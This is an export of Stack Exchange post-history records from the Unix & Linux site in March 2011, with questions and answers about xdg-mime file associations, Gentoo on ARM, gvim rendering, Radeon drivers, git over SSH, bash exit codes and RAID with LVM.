  <row Id="20794" PostHistoryTypeId="2" PostId="8791" RevisionGUID="bbc59c50-0c02-45d1-a84a-0980128efcb9" CreationDate="2011-03-08T00:37:33.247" UserId="2676" Text="Gentoo supports [ARMv4 or later with at least 32 MB][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 1. Open your netbook and make sure that your [2Gb NAND SSD][2] is not just a chip but something with IDE or SATA.&#xD;&#xA; 2. Connect ssd to computer with normal OS and make image of your Windows CE (using dd ;) so you can play with it later. &#xD;&#xA; 3. [Install gentoo][3] first inside [Qemu][4] (qemu-system-arm).&#xD;&#xA; 4. Make image of installed gentoo.&#xD;&#xA; 5. Expand gentoo image on ssd.&#xD;&#xA; 6.  ...&#xD;&#xA; 7. Profit!&#xD;&#xA;&#xD;&#xA;I wish you good luck.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/doc/en/handbook/handbook-arm.xml?part=1&amp;chap=2&#xD;&#xA;  [2]: http://www.google.com/images?q=nand+2gb+ssd&#xD;&#xA;  [3]: http://www.gentoo.org/doc/en/handbook/handbook-arm.xml&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/QEMU#ARM" />
  <row Id="20799" PostHistoryTypeId="2" PostId="8793" RevisionGUID="564d23ce-7048-46d8-a3c2-c807766a4f2f" CreationDate="2011-03-08T01:23:07.037" UserId="5495" Text=" &#xD;&#xA;0&#xD;&#xA; &#xD;&#xA;down vote &#xD;&#xA;favorite  Is there a linux API that can find the default application for a MIME type? Then I can use this application to open a file.&#xD;&#xA;&#xD;&#xA;I can not use xdg-open(url) because the file format is a wrapper format and shared mime-type can only tell the wrapper MIME type. The embedded mime type can only be got from the wrapper file header.&#xD;&#xA;&#xD;&#xA;The process would be like: 1. find embedded mime type 2. mime-open(embedded mime type, url)&#xD;&#xA;&#xD;&#xA;Is it possible?&#xD;&#xA;&#xD;&#xA;Many thanks! Amanda&#xD;&#xA; " />
  <row Id="20800" PostHistoryTypeId="1" PostId="8793" RevisionGUID="564d23ce-7048-46d8-a3c2-c807766a4f2f" CreationDate="2011-03-08T01:23:07.037" UserId="5495" Text="How can I find the application for a MIME type on linux?" />
  <row Id="20801" PostHistoryTypeId="3" PostId="8793" RevisionGUID="564d23ce-7048-46d8-a3c2-c807766a4f2f" CreationDate="2011-03-08T01:23:07.037" UserId="5495" Text="élinuxàéopenöfilesà" />
  <row Id="20802" PostHistoryTypeId="2" PostId="8794" RevisionGUID="a55bcb19-6def-44d4-b282-00e1ac6b70ae" CreationDate="2011-03-08T01:24:41.573" UserId="5495" Text=" &#xD;&#xA;I can add a new MIME type in shared MIME-info, but how can I associates this MIME type with an application?  How?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;Amanda&#xD;&#xA; " />
  <row Id="20803" PostHistoryTypeId="1" PostId="8794" RevisionGUID="a55bcb19-6def-44d4-b282-00e1ac6b70ae" CreationDate="2011-03-08T01:24:41.573" UserId="5495" Text="Can shared-mime-info associate a MIME type to a destop applications?" />
  <row Id="20804" PostHistoryTypeId="3" PostId="8794" RevisionGUID="a55bcb19-6def-44d4-b282-00e1ac6b70ae" CreationDate="2011-03-08T01:24:41.573" UserId="5495" Text="élinuxàégnomeà" />
  <row Id="20805" PostHistoryTypeId="2" PostId="8795" RevisionGUID="7b360220-8295-4ba8-ba20-b5416158e940" CreationDate="2011-03-08T01:30:03.517" UserId="2676" Text="When I switch from gvim to another application and then after some time switch back gvim window appears blank with cursor blinking in the middle. Sometimes toolbar and tabs look like a white space.&#xD;&#xA;&#xD;&#xA;When I opening a new tab, tab bar doesn't refresh itself and shows the same tabs as before opening new tab. When I resizing window everything goes back to normal. &#xD;&#xA;&#xD;&#xA;![Gvim glitch][1]&#xD;&#xA;&#xD;&#xA;How to fix gvim rendering problem in gentoo linux (or how to understand what causes this problem)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/VJLbB.png" />
  <row Id="20806" PostHistoryTypeId="1" PostId="8795" RevisionGUID="7b360220-8295-4ba8-ba20-b5416158e940" CreationDate="2011-03-08T01:30:03.517" UserId="2676" Text="Gtk application (Gvim) rendering troubleshooting." />
  <row Id="20807" PostHistoryTypeId="3" PostId="8795" RevisionGUID="7b360220-8295-4ba8-ba20-b5416158e940" CreationDate="2011-03-08T01:30:03.517" UserId="2676" Text="éxorgàégtkàégvimà" />
  <row Id="20808" PostHistoryTypeId="2" PostId="8796" RevisionGUID="ea3da724-1e65-481c-bcc2-91270c25f8a1" CreationDate="2011-03-08T01:32:57.697" UserId="5325" Text="The `xdg-mime` command is used to query or set file associations.&#xD;&#xA;&#xD;&#xA;    jinx:735 Z$ xdg-mime query default application/pdf  &#xD;&#xA;    evince.desktop&#xD;&#xA;" />
  <row Id="20809" PostHistoryTypeId="2" PostId="8797" RevisionGUID="e9e54172-8a96-486b-a478-2faad7d41524" CreationDate="2011-03-08T01:43:09.643" UserId="250" Text="Most likely you don't have the driver installed. You have 2 choice:&#xD;&#xA;&#xD;&#xA; 1. Use a proprietary driver. You can get proprietary drivers through the manufacturer's website, in this case it's the [AMD's download page][1]. Some distros also have proprietary drivers in the repositories. For Fedora check out this [Unofficial Fedora FAQ][2].&#xD;&#xA; 2. Use an opensource driver. This is often not as good as the proprietary one, unless the manufacturer has provided the specifications to opensource developers, in which case it is better. Look into your distro's documentation on how to get opensource drivers. I don't know if this exists for Fedora, though.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://support.amd.com/us/gpudownload/Pages/index.aspx&#xD;&#xA;  [2]: http://www.fedorafaq.org/#radeon" />
  <row Id="20810" PostHistoryTypeId="2" PostId="8798" RevisionGUID="141d9114-3d74-4a47-abb6-cbaac916408c" CreationDate="2011-03-08T01:48:55.887" UserId="5325" Text="Use the `xdg-mime` command.&#xD;&#xA;&#xD;&#xA;&gt; `xdg-mime default` *application mimetype*&#xD;&#xA;&gt; &#xD;&#xA;&gt;    Ask the desktop environment to make *application* the default application for opening&#xD;&#xA;&gt;    files of type *mimetype*. An application can be made the default for several file&#xD;&#xA;&gt;    types by specifying multiple *mimetype* s.&#xD;&#xA;&#xD;&#xA;The above is taken from `man xdg-mime`, slightly modified to copy the usage down from the **SYNOPSIS**." />
  <row Id="20811" PostHistoryTypeId="5" PostId="8783" RevisionGUID="60c35bce-b26a-4df8-a299-9ab2a6a6527e" CreationDate="2011-03-08T02:02:58.453" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Good Introductory resources for linux](http://unix.stackexchange.com/questions/3294/good-introductory-resources-for-linux)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have no experience with any Linux operating system and I just put Ubuntu on my MacBook Pro.&#xD;&#xA;&#xD;&#xA;What would you professionals recommend a beginner do to learn how to use this OS to its full potential?&#xD;&#xA;&#xD;&#xA;I've come across this - http://www.linuxlots.com/~jam/&#xD;&#xA;&#xD;&#xA;Ideally when I learn to program I want this to be my development machine.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="20812" PostHistoryTypeId="10" PostId="8783" RevisionGUID="96ee6747-ad7d-4167-82bf-ae4c37dffec4" CreationDate="2011-03-08T02:02:58.280" UserId="29" CloseReasonId="1" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="20813" PostHistoryTypeId="18" PostId="8783" RevisionGUID="c3a21f62-3449-483d-91a4-9ade860fd2ac" CreationDate="2011-03-08T02:04:54.003" UserId="29" Comment="to http://unix.stackexchange.com/questions/3294/good-introductory-resources-for-linux" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="20815" PostHistoryTypeId="18" PostId="8785" RevisionGUID="c3a21f62-3449-483d-91a4-9ade860fd2ac" CreationDate="2011-03-08T02:04:54.003" UserId="29" Comment="from http://unix.stackexchange.com/questions/8783/resources-to-learn-linux" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="20816" PostHistoryTypeId="18" PostId="3294" RevisionGUID="c3a21f62-3449-483d-91a4-9ade860fd2ac" CreationDate="2011-03-08T02:04:54.003" UserId="29" Comment="from http://unix.stackexchange.com/questions/8783/resources-to-learn-linux" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="20817" PostHistoryTypeId="14" PostId="8783" RevisionGUID="44864532-1a98-4bc9-8b88-a9b10c41f6d3" CreationDate="2011-03-08T02:04:54.270" UserId="29" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="20818" PostHistoryTypeId="6" PostId="3294" RevisionGUID="acb06e16-fe29-4847-8a31-eb66457dea65" CreationDate="2011-03-08T02:08:51.847" UserId="29" Comment="add a note about this being a faq" Text="élinuxàéserveràédesktopà" />
  <row Id="20819" PostHistoryTypeId="5" PostId="3294" RevisionGUID="acb06e16-fe29-4847-8a31-eb66457dea65" CreationDate="2011-03-08T02:08:51.847" UserId="29" Comment="add a note about this being a faq" Text="I find myself spending a lot more time working with the webserver at work than I have in other recent jobs. Are there any good tutorials or resources I can read to get myself more up to speed so that I am not confused by basic things like 'how to search all files in a directory and below for a given string', or 'how to find out how much memory is allocated to php'&#xD;&#xA;&#xD;&#xA;Basically what should I know for daily interaction with a linux webserver and what are good resources to learn it.&#xD;&#xA;&#xD;&#xA;*( I'd like this to be kind of a faq for good introductory resources to Linux as an OS, so server tips are good, but it shouldn't have to be server only )*" />
  <row Id="20823" PostHistoryTypeId="25" PostId="8760" RevisionGUID="370e0588-51aa-4086-b1bd-a3e11a86ae05" CreationDate="2011-03-08T02:23:39.847" Comment="http://twitter.com/#!/StackUnix/status/44946351104069632" />
  <row Id="20824" PostHistoryTypeId="2" PostId="8800" RevisionGUID="60ae28d0-3808-4096-a0da-18aa637b65b4" CreationDate="2011-03-08T02:51:23.587" UserId="2511" Text="So, this appears to be a [really new][1] graphics card. You'll need both an up-to-date X driver and a really recent kernel — in fact, you need the not-yet-released (as of early March 2011) 2.6.38 kernel. (See [this article for more on the upcoming kernel release][2].)&#xD;&#xA;&#xD;&#xA;The good news is that the pre-release 2.6.38 kernel is already in the tree for Fedora 15, and the Fedora 15 Alpha release is scheduled for _tomorrow_. So, if you check back at http://torrent.fedoraproject.org/ in a few hours, that should be available to download. I can't promise that that'll make the card work, but the signs look positive.&#xD;&#xA;&#xD;&#xA;It's possible (likely even) that the required bits will make it into Fedora 14 in a few months. So just waiting is another option.&#xD;&#xA;&#xD;&#xA;(Honestly, I think _either_ of those will be a better option than the proprietary binary driver. I've had no end of trouble from that. It's faster, so if top performance is your main need, it might be worth it, but for general use, eh.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fireballtech.com/tag/linux-driver-radeon-6450/&#xD;&#xA;  [2]: http://www.h-online.com/open/features/Kernel-Log-Coming-in-2-6-38-Part-1-Graphics-1176900.html" />
  <row Id="20825" PostHistoryTypeId="6" PostId="8788" RevisionGUID="796900fc-18ac-4594-a233-6fc9b1ff0ac7" CreationDate="2011-03-08T02:55:23.740" UserId="2511" Comment="edited tags" Text="élinuxàéfedoraàéxorgàéradeonà" />
  <row Id="20826" PostHistoryTypeId="2" PostId="8801" RevisionGUID="5f6ea1e5-cb76-4ca0-a11f-bc571242ffff" CreationDate="2011-03-08T02:58:30.923" UserId="5092" Text="The [Linux Documentation Project (TLDP)][1] is a useful resource; some of the information is old, but lots of it is still very applicable.&#xD;&#xA;&#xD;&#xA;Especially useful is the [Introduction to Linux - A Hands on Guide][2] from the TLDP [guides][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tldp.org/&#xD;&#xA;  [2]: http://www.tldp.org/guides.html#intro-linux&#xD;&#xA;  [3]: http://www.tldp.org/guides.html" />
  <row Id="20829" PostHistoryTypeId="5" PostId="8793" RevisionGUID="7f2109d5-3bcb-4c93-847f-b338ff9158b9" CreationDate="2011-03-08T03:07:56.957" UserId="2511" Comment="deleted 31 characters in body" Text="Is there a linux API that can find the default application for a MIME type? Then I can use this application to open a file.&#xD;&#xA;&#xD;&#xA;I can not use xdg-open(url) because the file format is a wrapper format and shared mime-type can only tell the wrapper MIME type. The embedded mime type can only be got from the wrapper file header.&#xD;&#xA;&#xD;&#xA;The process would be like: 1. find embedded mime type 2. mime-open(embedded mime type, url)&#xD;&#xA;&#xD;&#xA;Is it possible?&#xD;&#xA;&#xD;&#xA;Many thanks! Amanda&#xD;&#xA; " />
  <row Id="20831" PostHistoryTypeId="6" PostId="5043" RevisionGUID="07c43caa-f60f-4c3d-8515-712b28b29338" CreationDate="2011-03-08T03:38:23.983" UserId="250" Comment="edited tags" Text="égentooàéfileömanagementàéfreedesktopàémimeötypesà" />
  <row Id="20832" PostHistoryTypeId="6" PostId="8793" RevisionGUID="bc280819-6362-44d2-8552-d40ab19166c7" CreationDate="2011-03-08T03:40:28.350" UserId="250" Comment="edited tags" Text="élinuxàéopenöfilesàémimeötypesà" />
  <row Id="20833" PostHistoryTypeId="2" PostId="8805" RevisionGUID="3041709e-690e-4e89-9f35-cf737a0bebc7" CreationDate="2011-03-08T03:44:59.203" UserId="4479" Text="I want to use Git over SSH with my Linode VPS running Ubuntu 10.04 LTS. &#xD;&#xA;&#xD;&#xA;Instructions seem pretty easy, infact given I had already setup my SSH key etc.. &#xD;&#xA;&#xD;&#xA;All I had to do was instruct my local repository to send to the server&#xD;&#xA;&#xD;&#xA;ssh://matt@myvps.com:22/~/mygits/proj1.git&#xD;&#xA;&#xD;&#xA;Problem is when I do *git push origin master* it just stall, no network activity, no errors, after a few minutes I kill it with ctrl+c.  I sent along time yesterday try to diagnosis the problem. So on the server I setup a new user matt2 and copied authorized_keys across to matt2 and tried pushing to matt2@myvps.com:22 and viola it worked.&#xD;&#xA;&#xD;&#xA;What are differences between matt and matt2? Well matt has this in his .bash_profile to ensure an ssh-agent is running (i need this func alot):&#xD;&#xA;&#xD;&#xA;        #Start/Reuse SSH Agent - restart or re-use an existing agent&#xD;&#xA;    SSH_AGENT_CACHE=/tmp/ssh_agent_eval_`whoami`&#xD;&#xA;    if [ -s &quot;${SSH_AGENT_CACHE}&quot; ]&#xD;&#xA;    then&#xD;&#xA;    echo &quot;Reusing existing ssh-agent&quot;&#xD;&#xA;    eval `cat &quot;${SSH_AGENT_CACHE}&quot;`&#xD;&#xA;    # Check that agent still exists&#xD;&#xA;    kill -0 &quot;${SSH_AGENT_PID}&quot; 2&gt;-&#xD;&#xA;    if [ $? -eq 1 ]&#xD;&#xA;    then&#xD;&#xA;    echo &quot;ssh-agent pid ${SSH_AGENT_PID} no longer running&quot;&#xD;&#xA;    # Looks like the SSH-Agent has died, it'll be restarted below&#xD;&#xA;    rm -f &quot;${SSH_AGENT_CACHE}&quot;&#xD;&#xA;    fi&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    if [ ! -f &quot;${SSH_AGENT_CACHE}&quot; ]&#xD;&#xA;    then&#xD;&#xA;    echo &quot;Starting new ssh-agent&quot;&#xD;&#xA;    touch &quot;${SSH_AGENT_CACHE}&quot;&#xD;&#xA;    chmod 600 &quot;${SSH_AGENT_CACHE}&quot;&#xD;&#xA;    ssh-agent &gt;&gt; &quot;${SSH_AGENT_CACHE}&quot;&#xD;&#xA;    chmod 400 &quot;${SSH_AGENT_CACHE}&quot;&#xD;&#xA;    eval `cat &quot;${SSH_AGENT_CACHE}&quot;`&#xD;&#xA;    ssh-add&#xD;&#xA;&#xD;&#xA;So it appears my .bash_profile conflicts with the operating of git over SSH. Any suggestions of workarounds, I dont want to use 2 user accounts, and I want to keep my .bash_profile. It would be good if I could edit the .bash_profile and wrap the functionality around if [ $connectingWith != &quot;git-client&quot;] but I doubt such thing exists? &#xD;&#xA;&#xD;&#xA;Thoughts?" />
  <row Id="20834" PostHistoryTypeId="1" PostId="8805" RevisionGUID="3041709e-690e-4e89-9f35-cf737a0bebc7" CreationDate="2011-03-08T03:44:59.203" UserId="4479" Text="Git Server Bash and SSH" />
  <row Id="20835" PostHistoryTypeId="3" PostId="8805" RevisionGUID="3041709e-690e-4e89-9f35-cf737a0bebc7" CreationDate="2011-03-08T03:44:59.203" UserId="4479" Text="ébashàésshàéterminalàégità" />
  <row Id="20845" PostHistoryTypeId="19" PostId="5" RevisionGUID="8a2e5d40-a907-4a1d-8da1-7ce3e05fb503" CreationDate="2011-03-08T04:04:07.100" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="20846" PostHistoryTypeId="2" PostId="8806" RevisionGUID="9e05ef44-c68d-4daf-878a-c5c610c40736" CreationDate="2011-03-08T04:09:20.663" UserId="4479" Text="Please ignore. There was something in .bashrc which was causing problems. I didnt see this as this was not executed when SSH in." />
  <row Id="20847" PostHistoryTypeId="2" PostId="8807" RevisionGUID="de3db35d-fc4b-491a-a174-310bba709eb1" CreationDate="2011-03-08T04:45:04.270" UserId="3445" Text="What could the problem be? How do I find out what's going on?" />
  <row Id="20848" PostHistoryTypeId="1" PostId="8807" RevisionGUID="de3db35d-fc4b-491a-a174-310bba709eb1" CreationDate="2011-03-08T04:45:04.270" UserId="3445" Text="Fedora won't boot. The startup progress bar goes all the way to the right and then everything just freezes." />
  <row Id="20849" PostHistoryTypeId="3" PostId="8807" RevisionGUID="de3db35d-fc4b-491a-a174-310bba709eb1" CreationDate="2011-03-08T04:45:04.270" UserId="3445" Text="éfedoraà" />
  <row Id="20850" PostHistoryTypeId="2" PostId="8808" RevisionGUID="f8e54bfe-c772-445f-a52e-68068e64ae14" CreationDate="2011-03-08T04:53:17.880" UserId="5454" Text="if you just want to associate them directly, and not make them default, you can add them to&#xD;&#xA;&#xD;&#xA;    /usr/share/applications/mimeinfo.cache&#xD;&#xA;&#xD;&#xA;(system-wide), or&#xD;&#xA;&#xD;&#xA;    ~/.local/share/applications/mimeinfo.cache&#xD;&#xA;&#xD;&#xA;(per-user).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;edit: using `xdg-mime`, as geekosaur suggests, might perhaps be more robust.  In this case, you would want&#xD;&#xA;&#xD;&#xA;&gt; xdg-mime install [--mode mode]&#xD;&#xA;&gt; [--novendor] mimetypes-file&#xD;&#xA;&gt; &#xD;&#xA;&gt; Adds the file type descriptions&#xD;&#xA;&gt; provided in mimetypes-file to the&#xD;&#xA;&gt; desktop environment.  mimetypes-file&#xD;&#xA;&gt; must be a XML file that follows the&#xD;&#xA;&gt; freedesktop.org Shared MIME-info&#xD;&#xA;&gt; Database specification and that has a&#xD;&#xA;&gt; mime-info element as its document&#xD;&#xA;&gt; root. For each new file type one or&#xD;&#xA;&gt; more 	icons with name major-minor must&#xD;&#xA;&gt; be installed with the&#xD;&#xA;&gt; xdg-icon-resource 	command in the&#xD;&#xA;&gt; mimetypes context. For example the&#xD;&#xA;&gt; application/vnd.oasis.opendocument.text&#xD;&#xA;&gt; filetype requires an icon by the 	name&#xD;&#xA;&gt; of application-vnd.oasis.opendocument.text&#xD;&#xA;&gt; to be installed.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20851" PostHistoryTypeId="5" PostId="8808" RevisionGUID="2c220394-c0de-4ebe-a6fd-eddff0332d5f" CreationDate="2011-03-08T04:58:32.353" UserId="5454" Comment="added 10 characters in body" Text="if you just want to associate them directly, and not make them default, you can add them to&#xD;&#xA;&#xD;&#xA;    /usr/share/applications/mimeinfo.cache&#xD;&#xA;&#xD;&#xA;(system-wide), or&#xD;&#xA;&#xD;&#xA;    ~/.local/share/applications/mimeinfo.cache&#xD;&#xA;&#xD;&#xA;(per-user).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;edit: using `xdg-mime`, as geekosaur suggests, might perhaps be more robust.  In this case, you would want&#xD;&#xA;&#xD;&#xA;&gt; `xdg-mime install [--mode mode]&#xD;&#xA;&gt; [--novendor] mimetypes-file`&#xD;&#xA;&gt; &#xD;&#xA;&gt; Adds the file type descriptions&#xD;&#xA;&gt; provided in `mimetypes-file` to the&#xD;&#xA;&gt; desktop environment.  `mimetypes-file`&#xD;&#xA;&gt; must be a XML file that follows the&#xD;&#xA;&gt; freedesktop.org Shared MIME-info&#xD;&#xA;&gt; Database specification and that has a&#xD;&#xA;&gt; mime-info element as its document&#xD;&#xA;&gt; root. For each new file type one or&#xD;&#xA;&gt; more 	icons with name major-minor must&#xD;&#xA;&gt; be installed with the&#xD;&#xA;&gt; `xdg-icon-resource` command in the&#xD;&#xA;&gt; mimetypes context. For example the&#xD;&#xA;&gt; `application/vnd.oasis.opendocument.text`&#xD;&#xA;&gt; filetype requires an icon by the name&#xD;&#xA;&gt; of `application-vnd.oasis.opendocument.text`&#xD;&#xA;&gt; to be installed.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20852" PostHistoryTypeId="2" PostId="8809" RevisionGUID="ef99056e-fc8b-403e-8ee5-e0c9334e6430" CreationDate="2011-03-08T04:58:43.893" UserId="688" Text="As [mentioned][1], Red Hat develops more of GNOME than any other company. Since Fedora is a bleeding edge sort of distribution, it happens a lot that it receives GNOME updates real fast, many times even before tarball releases (priorities). So if you are a GNOME developer, chances are you want to be running the development branch of Fedora.&#xD;&#xA;&#xD;&#xA;Alternatively, and if you don't mind working hard, you can resort to choosing a distribution based on taste, and build GNOME by using [JHBuild][2]. This is a powerful tool that can build all of the various GNOME suites, either from tarballs or from GNOME VCS, git. This implies that more often than not, you'll be having a fresher version of GNOME than if you go the Fedora way. Note that there's hardly a build of JHBuild that goes without trouble but the bugs you'll expose on various GNOME modules (equivalent of a distro package) and the learning you'll do along the way will help make you understand GNOME even better. You'll want to be chilling on **#gnome-love** channel on **GimpNet** for you'll need the help.&#xD;&#xA;&#xD;&#xA;Another kind of GNOME developer is one who is interested in a very specific GNOME package, as in my case. That is, I always run the VCS version, so I don't even bother using JHBuild. Note that this way I have to deal with a variety of issues, for example sometimes it requires a later dependency than is available in my primary OS, Debian, and am forced to also get either an upstream tarball or a VCS checkout. This could mean that you'll have to risk the stability of your system, at least as vetted by your distro developers, and this can bite you here and there, especially if you are going to be playing with important technologies like GLib and DBus. For me this isn't a big issue since a re-install is cheap, and I separate my &quot;**/home**&quot; dir and the rest via partitioning. One other option is to install this custom stuff in &quot;**/opt**&quot; which is maybe what I must do :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/8771/8773#8773&#xD;&#xA;  [2]: http://live.gnome.org/Jhbuild&#xD;&#xA;  [3]: http://projects.gnome.org/tracker/" />
  <row Id="20853" PostHistoryTypeId="5" PostId="8807" RevisionGUID="5a52aec0-39c1-44ea-a810-7acfb3b3afd5" CreationDate="2011-03-08T05:03:58.387" UserId="3445" Comment="added 200 characters in body" Text="What could the problem be? How do I find out what's going on?&#xD;&#xA;&#xD;&#xA;EDIT: Hitting f2 when the progress bar is going across the screen shows that booting stops at &quot;Starting atd: [OK]&quot;. After it reaches that point, the screen flickers a little bit and it just hangs." />
  <row Id="20854" PostHistoryTypeId="25" PostId="8793" RevisionGUID="b8165ea2-5ce0-45b5-8fde-868e6cd479c6" CreationDate="2011-03-08T05:23:39.637" Comment="http://twitter.com/#!/StackUnix/status/44991648714858496" />
  <row Id="20855" PostHistoryTypeId="2" PostId="8810" RevisionGUID="df677ae3-c840-4ad2-8104-30b469d5e3dd" CreationDate="2011-03-08T06:43:02.373" UserId="3860" Text="Sonds very much like there is a problem starting X, especially if you were messing around with xorg.conf.&#xD;&#xA;&#xD;&#xA;Deleting xorg.conf should solve the problem, also you should check `/var/log/Xorg.0.log` for errors." />
  <row Id="20857" PostHistoryTypeId="5" PostId="8759" RevisionGUID="2fd580b6-5fdd-4f4c-b7ce-c772035e004e" CreationDate="2011-03-08T07:28:20.277" UserId="2567" Comment="-ne and the dir in a var..." Text="Hi &#xD;&#xA;&#xD;&#xA;When I read this [answer about $?][1] another question comes to mind.&#xD;&#xA;&#xD;&#xA;Is there any best practice for how to use $? in bash?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Let's have a example:&#xD;&#xA;&#xD;&#xA;We have a linear script and I we would like to know that all the command was executed ok.&#xD;&#xA;Do you think it is ok to call a small function (let's call it &quot;did_it_work&quot;), &#xD;&#xA;to check the error code and break if it's not.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/bin/bash &#xD;&#xA;    &#xD;&#xA;    function did_it_work {&#xD;&#xA;        code=$1&#xD;&#xA;        if [ &quot;$code&quot; -ne &quot;0&quot; ]&#xD;&#xA;        then&#xD;&#xA;            echo &quot;Error failure: code $code &quot;&#xD;&#xA;            exit 1&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    dir=some/path&#xD;&#xA;    &#xD;&#xA;    mkdir -p $dir&#xD;&#xA;    did_it_work $? &#xD;&#xA;    &#xD;&#xA;    cd $dir&#xD;&#xA;    did_it_work $? &#xD;&#xA;    &#xD;&#xA;    run_some_command&#xD;&#xA;    did_it_work $? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This approach of course means that I have to manually solve the problem if there is any and rerun the script.&#xD;&#xA;                                                                           &#xD;&#xA;Do you think this is a good idea or is there some other best practice to do this?&#xD;&#xA;&#xD;&#xA;/Thanks&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/7704/what-is-the-meaning-of-in-a-shell-script/7714#7714&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20859" PostHistoryTypeId="2" PostId="8813" RevisionGUID="f35efeb6-13fb-4b90-8bf9-8f3633e6544e" CreationDate="2011-03-08T07:36:51.000" UserDisplayName="delete" Text="Should the usage message of a Unix command go to stderr or stdout, and why?&#xD;&#xA;" />
  <row Id="20860" PostHistoryTypeId="1" PostId="8813" RevisionGUID="f35efeb6-13fb-4b90-8bf9-8f3633e6544e" CreationDate="2011-03-08T07:36:51.000" UserDisplayName="delete" Text="Should the usage message go to stderr or stdout?" />
  <row Id="20861" PostHistoryTypeId="3" PostId="8813" RevisionGUID="f35efeb6-13fb-4b90-8bf9-8f3633e6544e" CreationDate="2011-03-08T07:36:51.000" UserDisplayName="delete" Text="écommandölineà" />
  <row Id="20862" PostHistoryTypeId="2" PostId="8814" RevisionGUID="8226bc74-69ea-45db-89fb-ada44782bf0b" CreationDate="2011-03-08T07:46:52.187" UserId="3947" Text="Hi I am going to build a 6 drive consumer level RAID 5 (10TB) with Ubuntu10.10 and using EXT4 as filesystem, and OS on another drive.&#xD;&#xA;&#xD;&#xA;Question: Should you use LVM on top of the RAID5 or should just directly use EXT4 on top?" />
  <row Id="20863" PostHistoryTypeId="1" PostId="8814" RevisionGUID="8226bc74-69ea-45db-89fb-ada44782bf0b" CreationDate="2011-03-08T07:46:52.187" UserId="3947" Text="Consumer Level software RAID5 and LVM" />
  <row Id="20864" PostHistoryTypeId="3" PostId="8814" RevisionGUID="8226bc74-69ea-45db-89fb-ada44782bf0b" CreationDate="2011-03-08T07:46:52.187" UserId="3947" Text="éubuntuàélvmàéraidà" />
  <row Id="20865" PostHistoryTypeId="2" PostId="8815" RevisionGUID="c3027876-34d8-4cd1-bc98-40d41cd32b72" CreationDate="2011-03-08T07:50:47.773" UserId="2421" Text="It should go to stdout, so you can type:&#xD;&#xA;&#xD;&#xA;    command --help | less&#xD;&#xA;&#xD;&#xA;This is also recommended by the [Gnu Coding Standards on `--help`][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/prep/standards/html_node/_002d_002dhelp.html" />
  <row Id="20866" PostHistoryTypeId="5" PostId="8815" RevisionGUID="8da1ad75-cc57-49fa-bb1a-35feefe14da5" CreationDate="2011-03-08T08:02:34.253" UserId="2421" Comment="errors go to stderr" Text="It should go to stdout, so you can type:&#xD;&#xA;&#xD;&#xA;    command --help | less&#xD;&#xA;&#xD;&#xA;This is also recommended by the [Gnu Coding Standards on `--help`][1].&#xD;&#xA;&#xD;&#xA;On the other hand, if you're referring to the usage message that you get when you use an invalid option or omit a required argument, that should go to stderr, because it's an error message, and you don't want it to feed into the next command in a pipeline.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/prep/standards/html_node/_002d_002dhelp.html" />
  <row Id="20867" PostHistoryTypeId="5" PostId="8813" RevisionGUID="57e0e837-3e1b-4231-ad74-0a59debcffb6" CreationDate="2011-03-08T08:05:14.890" UserDisplayName="delete" Comment="clarified q." Text="Should the usage message which is printed with e.g. &#xD;&#xA;&#xD;&#xA;     command -?&#xD;&#xA;&#xD;&#xA;of a Unix command go to stderr or stdout, and why? Should it go to the same place if the user makes a mistake with an option?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20868" PostHistoryTypeId="25" PostId="8813" RevisionGUID="07e2aa12-1781-410a-9acc-c9cbad5913b0" CreationDate="2011-03-08T08:23:39.133" Comment="http://twitter.com/#!/StackUnix/status/45036945897820160" />
  <row Id="20869" PostHistoryTypeId="2" PostId="8816" RevisionGUID="b12ff114-8ce1-4de8-877b-a5422908e6c1" CreationDate="2011-03-08T08:42:29.937" UserId="3082" Text="It would be a good idea to use LVM on top of RAID. Then you can grow the RAID array and also grow the LV. " />
